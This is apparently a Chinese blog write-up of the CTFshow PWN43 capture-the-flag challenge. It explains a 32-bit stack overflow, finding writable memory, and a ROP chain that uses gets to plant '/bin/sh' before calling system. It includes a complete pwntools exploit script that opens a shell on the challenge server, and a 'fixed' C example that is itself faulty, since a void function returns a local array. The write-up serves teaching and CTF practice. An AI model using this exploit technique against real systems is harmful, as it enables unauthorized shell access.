news 2026/6/3 7:49:00

CTFshow PWN43通关实录:当system函数没有/bin/sh,我是如何手动‘造’一个的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow PWN43通关实录:当system函数没有/bin/sh,我是如何手动‘造’一个的

CTFshow PWN43通关实录:当system函数没有/bin/sh,我是如何手动‘造’一个的

在CTF的PWN挑战中,栈溢出是最基础也最经典的漏洞类型之一。但当你掌握了基本的ROP链构造技巧后,往往会遇到一些看似简单却暗藏玄机的题目——比如这次遇到的PWN43,它给了你system函数,却没有提供现成的"/bin/sh"字符串。这种情况在实际漏洞利用中非常常见,因为现实世界中的二进制程序很少会贴心地为你准备好所有需要的参数。今天,我就来详细拆解这道题目的解题思路,分享如何在没有现成"/bin/sh"的情况下,手动构造这个关键参数。

1. 问题分析:缺失的/bin/sh

首先,我们需要清楚地认识到问题的本质。通过IDA反编译目标程序,我们可以快速定位到以下几个关键信息:

  • 程序中存在一个明显的栈溢出漏洞,通过gets函数读取输入到长度为104的字符数组中
  • system函数的地址是0x8048450
  • 程序中没有任何现成的"/bin/sh"或"sh"字符串

关键问题:即使我们能控制程序执行流跳转到system函数,但没有合适的参数,system函数也无法为我们生成一个shell。这就好比有了打火机却没有燃料,空有一身本事却无处施展。

通过gdb调试,我们可以确认这一点:

gdb ./pwn break main run info functions system searchmem /bin/sh

确实找不到任何包含"/bin/sh"的内存区域。那么,我们需要另辟蹊径。

2. 寻找解决方案:可写内存与函数利用

2.1 定位可写内存区域

既然程序中没有现成的"/bin/sh",我们就需要自己写入这个字符串。但写入到哪里呢?不是所有内存区域都可以随意写入,我们需要找到一个可写的内存段。

使用gdb的vmmap命令查看内存映射:

vmmap

输出中我们关注具有"rw"权限(可读可写)的内存段。例如:

0x804b000 0x804c000 rw-p /home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn

这段内存从0x804b000到0x804c000,大小为0x1000(4096字节),具有读写权限。进一步检查这个区域,我们可以找到一个全局变量buf2,其地址为0x804B060。

2.2 利用已有函数写入数据

现在我们有了一块可写内存,接下来需要找到写入数据的方法。幸运的是,程序中已经提供了gets函数(地址0x8048420),这正是我们需要的。

gets函数的特点:

  • 从标准输入读取字符串
  • 不检查输入长度,容易造成缓冲区溢出
  • 需要一个参数:存储输入数据的缓冲区地址

我们可以利用gets函数将"/bin/sh"写入到我们找到的可写内存地址中。

3. 构造ROP链:从写入到执行

有了上述信息,我们就可以构造完整的利用链了。思路如下:

  1. 首先覆盖返回地址,跳转到gets函数
  2. 将buf2的地址作为gets函数的参数,这样gets会将输入写入到buf2
  3. gets函数执行完毕后,返回到system函数
  4. 将buf2的地址(现在包含"/bin/sh")作为system函数的参数

对应的payload结构:

[填充数据][gets地址][system地址][gets返回地址][gets参数][system参数]

但在实际构造时,我们可以简化一些。因为gets函数执行完毕后会返回到栈上的下一个地址,所以我们可以这样安排:

[填充数据][gets地址][system地址][buf2地址][buf2地址]

这样:

  • 第一个buf2地址是gets函数的参数(写入位置)
  • gets执行完毕后返回到system地址
  • 第二个buf2地址是system函数的参数(命令字符串)

4. 完整利用代码

基于pwntools的完整exploit代码如下:

from pwn import * context(arch='i386', os='linux') context.log_level = 'debug' # 计算偏移量 offset = 0x6C + 4 # 104字节缓冲区 + 4字节ebp # 关键地址 system_addr = 0x8048450 buf2_addr = 0x804B060 gets_addr = 0x8048420 # 构造payload payload = flat( b'A' * offset, gets_addr, system_addr, buf2_addr, buf2_addr ) # 发送payload p = remote('pwn.challenge.ctf.show', 28227) p.sendline(payload) p.sendline(b'/bin/sh\x00') # 写入/bin/sh到buf2 p.interactive()

5. 关键点解析与注意事项

5.1 偏移量计算

偏移量的计算是栈溢出利用的基础。在这个例子中:

  • 缓冲区s的大小是104字节(0x6C)
  • 需要覆盖的ebp是4字节
  • 所以总共需要108字节的填充数据才能到达返回地址

可以通过cyclic模式验证:

gdb ./pwn run <<< $(cyclic 200)

当程序崩溃时,查看eip的值,然后用cyclic -l计算偏移量。

5.2 参数排列顺序

在32位程序中,函数调用时参数是通过栈传递的,且参数是从右向左压栈。但在构造ROP链时,我们需要考虑以下几点:

  1. 调用gets函数时,它需要一个参数(写入地址)
  2. gets函数执行完毕后,会返回到栈上的下一个地址
  3. system函数需要一个参数(命令字符串)

因此payload的结构是:

[填充][gets_addr][system_addr][gets_param][system_param]

5.3 字符串终止符

在发送"/bin/sh"字符串时,最好显式添加null终止符(\x00),因为gets函数会读取输入直到遇到换行符或EOF,但不保证字符串会被正确终止。

5.4 替代方案探讨

除了使用gets函数,我们还可以考虑其他写入字符串的方法:

  1. 使用read函数(如果可用)
  2. 通过ROP链逐字节写入
  3. 使用格式化字符串漏洞(如果存在)

但gets函数在这种情况下是最简单直接的选择。

6. 防御措施与漏洞修复

虽然本文重点是利用漏洞,但了解如何防御这类攻击同样重要。针对这个例子,可以采取以下防护措施:

  1. 使用安全的输入函数(如fgets代替gets)
  2. 启用栈保护机制(如Canary)
  3. 将关键内存区域设置为不可执行(NX)
  4. 地址空间布局随机化(ASLR)

修复后的代码示例:

void ctfshow() { char s[104]; fgets(s, sizeof(s), stdin); // 安全的输入函数 return s; }

7. 扩展思考:64位程序下的差异

虽然本题是32位程序,但了解64位环境下的差异也很重要:

  1. 参数传递方式:64位程序前六个参数通过寄存器传递
  2. 需要找到合适的gadget来设置rdi寄存器
  3. 内存地址更长,可能需要处理地址中的null字节

64位环境下的ROP链构造会更加复杂,但基本思路是一致的:找到可写内存,写入所需数据,然后调用目标函数。

在实际解题过程中,遇到没有现成"/bin/sh"的情况时,不要慌张。通过系统地分析程序提供的资源(函数、可写内存等),总能找到解决方案。这道题目教会我们的是灵活运用已有资源的能力——当直接路径被阻断时,寻找间接路径同样可以达到目标。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 7:46:34

TG客户端选型踩坑实录:从SMSfee到一键登录的完整记录

最近在做海外技术社区调研&#xff0c;需要关注几个活跃的开源频道。手头有个86号码&#xff0c;想着顺手注册个账号用来收通知&#xff0c;结果在登录环节卡了整整三天。最开始是常规的短信验证流程&#xff0c;输入号码后要么长时间没反应&#xff0c;要么直接弹出smsfee提示…

作者头像 李华
网站建设 2026/6/3 7:40:24

RHEL 7离线升级到8的完整避坑指南:从环境准备到重启验证

RHEL 7离线升级到8的完整避坑指南&#xff1a;从环境准备到重启验证在企业级Linux环境中&#xff0c;RHEL系统的版本升级往往牵一发而动全身。特别是从RHEL 7到RHEL 8这样的大版本跨越&#xff0c;不仅涉及底层架构的变更&#xff0c;更可能影响关键业务的连续性。本文将从一个…

作者头像 李华
网站建设 2026/6/3 7:35:52

Arduino Pro Micro随机蜂鸣器:嵌入式系统与随机算法的趣味应用

1. 项目概述与核心思路如果你手头有几片闲置的Arduino Pro Micro&#xff0c;又恰好想给平淡的办公室或家里增添一点“惊喜”&#xff0c;那么这个随机蜂鸣器装置绝对值得一试。它本质上是一个极简的嵌入式系统&#xff1a;用一块微控制器驱动一个蜂鸣器&#xff0c;但关键在于…

作者头像 李华
网站建设 2026/6/3 7:34:53

Computex上我亲眼看到:程序员的“对手“已经不是人类了

昨天6月1号&#xff0c;COMPUTEX 2026在台北开幕。作为科技圈的从业者&#xff0c;我买了票去现场。 黄仁勋的演讲 NVIDIA CEO黄仁勋在GTC台北大会上公布了一个数据&#xff1a; "搭载Vera Rubin芯片的AI PC&#xff0c;可以在本地运行100亿参数的AI模型。" 100亿…

作者头像 李华
网站建设 2026/6/3 7:30:47

计算机毕业设计之基于Hadoop的京东空调销售数据分析与可视化

摘 要在大数据技术的推动下&#xff0c;电子商务平台的数据分析与可视化成为企业洞察市场、优化运营的重要手段。本文以京东电商平台上的空调销售数据为研究对象&#xff0c;运用Hadoop大数据处理框架&#xff0c;结合Python编程语言和MySQL数据库&#xff0c;对空调销售数据进…

作者头像 李华